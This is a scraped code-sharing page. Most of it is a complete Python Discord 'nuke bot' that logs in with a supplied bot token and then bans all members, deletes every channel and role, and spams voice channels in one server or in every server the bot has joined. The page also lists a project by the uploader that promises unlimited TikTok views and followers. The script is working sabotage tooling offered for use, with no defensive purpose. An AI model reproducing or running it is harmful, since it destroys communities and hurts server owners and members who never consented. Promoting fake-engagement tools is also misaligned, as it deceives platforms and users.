Coder Social home page Coder Social logo

​import​ ​discord ​from​ ​discord​.​ext​ ​import​ ​commands ​from​ ​colorama​ ​import​ ​init​, ​Fore​ ​as​ ​cc ​from​ ​os​ ​import​ ​name​ ​as​ ​os_name​, ​system ​from​ ​sys​ ​import​ ​exit ​init​() ​dr​ ​=​ ​DR​ ​=​ ​r​ ​=​ ​R​ ​=​ ​cc​.​LIGHTRED_EX ​g​ ​=​ ​G​ ​=​ ​cc​.​LIGHTGREEN_EX ​b​ ​=​ ​B​ ​=​ ​cc​.​LIGHTBLUE_EX ​m​ ​=​ ​M​ ​=​ ​cc​.​LIGHTMAGENTA_EX ​c​ ​=​ ​C​ ​=​ ​cc​.​LIGHTCYAN_EX ​y​ ​=​ ​Y​ ​=​ ​cc​.​LIGHTYELLOW_EX ​w​ ​=​ ​W​ ​=​ ​cc​.​RESET

​clear​ ​=​ ​lambda​: ​system​(​'cls'​) ​if​ ​os_name​ ​==​ ​'nt'​ ​else​ ​system​(​'clear'​) ​def​ ​_input​(​text​):​print​(​text​, ​end​=​''​);​return​ ​input​()

​baner​ ​=​ ​f''' ​{​r​}​ _   _       _       ​{​m​}​ ____        _    ​{​r​}​| \ | |_   | | ____​{​m​}​| __ )  ___ | |  ​{​r​}​|  | | | | | |/ / _ ​{​m​}​\  _ \ / _ | __| ​{​r​}​| |\  | || |   <  __​{​m​}​/ |) | () | |_  ​{​r​}​|| _|_,||__​{​m​}​|____/ _/ __| ​{​y​}​Made by: ​{​g​}​https://github.com/Sigma-cc'''

​async​ ​def​ ​delete_all_channel​(​guild​): ​    ​deleted​ ​=​ ​0 ​    ​for​ ​channel​ ​in​ ​guild​.​channels​: ​        ​try​: ​            ​await​ ​channel​.​delete​() ​            ​deleted​ ​+=​ ​1 ​        ​except​: ​            ​continue ​    ​return​ ​deleted

​async​ ​def​ ​delete_all_roles​(​guild​): ​    ​deleted​ ​=​ ​0 ​    ​for​ ​role​ ​in​ ​guild​.​roles​: ​        ​try​: ​            ​await​ ​role​.​delete​() ​            ​deleted​ ​+=​ ​1 ​        ​except​: ​            ​continue ​    ​return​ ​deleted

​async​ ​def​ ​ban_all_members​(​guild​): ​    ​banned​ ​=​ ​0 ​    ​for​ ​member​ ​in​ ​guild​.​members​: ​        ​try​: ​            ​await​ ​member​.​ban​() ​            ​banned​ ​+=​ ​1 ​        ​except​: ​            ​continue ​    ​return​ ​banned

​async​ ​def​ ​create_roles​(​guild​, ​name​): ​    ​created​ ​=​ ​0 ​    ​for​ ​_​ ​in​ ​range​(​200​ ​-​ ​len​(​guild​.​roles​)): ​        ​try​: ​            ​await​ ​guild​.​create_role​(​name​=​name​) ​            ​created​ ​+=​ ​1 ​        ​except​: ​            ​continue ​    ​return​ ​created

​async​ ​def​ ​create_voice_channels​(​guild​, ​name​): ​    ​created​ ​=​ ​0 ​    ​for​ ​_​ ​in​ ​range​(​200​ ​-​ ​len​(​guild​.​channels​)): ​        ​try​: ​            ​await​ ​guild​.​create_voice_channel​(​name​=​name​) ​            ​created​ ​+=​ ​1 ​        ​except​: ​            ​continue ​    ​return​ ​created

​async​ ​def​ ​nuke_guild​(​guild​): ​    ​print​(​f'​{​r​}​Nuke: ​{​m​}​{​guild​.​name​}​'​) ​    ​banned​ ​=​ ​await​ ​ban_all_members​(​guild​) ​    ​print​(​f'​{​m​}​Banned:​{​b​}​{​banned​}​'​) ​    ​deleted_channels​ ​=​ ​await​ ​delete_all_channel​(​guild​) ​    ​print​(​f'​{​m​}​Delete Channels:​{​b​}​{​deleted_channels​}​'​) ​    ​delete_roles​ ​=​ ​await​ ​delete_all_roles​(​guild​) ​    ​print​(​f'​{​m​}​Delete Roles:​{​b​}​{​delete_roles​}​'​) ​    ​created_channels​ ​=​ ​await​ ​create_voice_channels​(​guild​,​name​) ​    ​print​(​f'​{​m​}​Create Voice Channels:​{​b​}​{​created_channels​}​'​) ​    ​#created_roles = await created_roles(guild,name) ​    ​#print(f'{m}Create Roles:{b}{created_roles}') ​    ​print​(​f'​{​r​}​--------------------------------------------​\n​\n​'​)

​while​ ​True​: ​    ​clear​() ​    ​choice​ ​=​ ​input​(​f'''    ​{​baner​}​                 ​{​c​}​-------------------------------------------- ​{​b​}​[Menu] ​    ​{​y​}​└─[1] ​{​m​}​- ​{​g​}​Run Setup Nuke Bot ​    ​{​y​}​└─[2] ​{​m​}​- ​{​g​}​Exit ​{​y​}​====>​{​g​}​'''​) ​    ​if​ ​choice​ ​==​ ​'1'​: ​        ​token​ ​=​ ​_input​(​f'​{​y​}​Input bot token:​{​g​}​'​) ​        ​name​ ​=​ ​_input​(​f'​{​y​}​Input name for created channels / roles:​{​g​}​'​) ​        ​clear​() ​        ​choice_type​ ​=​ ​_input​(​f''' ​{​baner​}​                 ​{​c​}​-------------------------------------------- ​{​b​}​[Select] ​    ​{​y​}​└─[1] ​{​m​}​- ​{​g​}​Nuke of all servers. ​    ​{​y​}​└─[2] ​{​m​}​- ​{​g​}​Nuke only one server.   ​    ​{​y​}​└─[3] ​{​m​}​- ​{​g​}​Exit ​{​y​}​====>​{​g​}​'''​) ​        ​client​ ​=​ ​commands​.​Bot​(​command_prefix​=​'.'​,​intents​=​discord​.​Intents​.​all​()) ​        ​if​ ​choice_type​ ​==​ ​'1'​: ​            ​@​client​.​event ​            ​async​ ​def​ ​on_ready​(): ​                ​print​(​f''' ​[+]Logged as ​{​client​.​user​.​name​} ​[+]Bot in ​{​len​(​client​.​guilds​)​}​ servers!'''​) ​                ​for​ ​guild​ ​in​ ​client​.​guilds​: ​                    ​await​ ​nuke_guild​(​guild​) ​                ​await​ ​client​.​close​() ​        ​elif​ ​choice_type​ ​==​ ​'2'​: ​            ​guild_id​ ​=​  ​_input​(​f'​{​y​}​Input server id:​{​g​}​'​) ​            ​@​client​.​event ​            ​async​ ​def​ ​on_ready​(): ​                ​for​ ​guild​ ​in​ ​client​.​guilds​: ​                    ​if​ ​str​(​guild​.​id​) ​==​ ​guild_id​: ​                        ​await​ ​nuke_guild​(​guild​) ​                ​await​ ​client​.​close​() ​        ​elif​ ​choice_type​ ​==​ ​'3'​: ​            ​print​(​f'​{​dr​}​Exit...'​) ​            ​exit​() ​        ​try​: ​            ​client​.​run​(​token​) ​            ​input​(​'Nuke finished, press enter for return to menu...'​) ​        ​except​ ​Exception​ ​as​ ​error​: ​            ​if​ ​error​ ​==​ ​'''Shard ID None is requesting privileged intents that have not been explicitly enabled in the developer portal. It is recommended to go to https://discord.com/developers/applications/ and explicitly enable the privileged intents within your application's page. If this is not possible, then consider disabling the privileged intents instead.'''​: ​                ​input​(​f'​{​r​}​Intents Error​\n​{​g​}​For fix -> https://prnt.sc/wmrwut​\n​{​b​}​Press enter for return...'​) ​            ​else​: ​                ​input​(​f'​{​r​}​{​error​}​\n​{​b​}​Press enter for return...'​) ​            ​continue ​    ​elif​ ​choice​ ​==​ ​'2'​: ​        ​print​(​f'​{​dr​}​Exit...'​) ​        ​exit​()

symtazhackyou's Projects

tiktodv3 icon tiktodv3

Get unlimited Tik Tok views or hearts or followers or shares.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.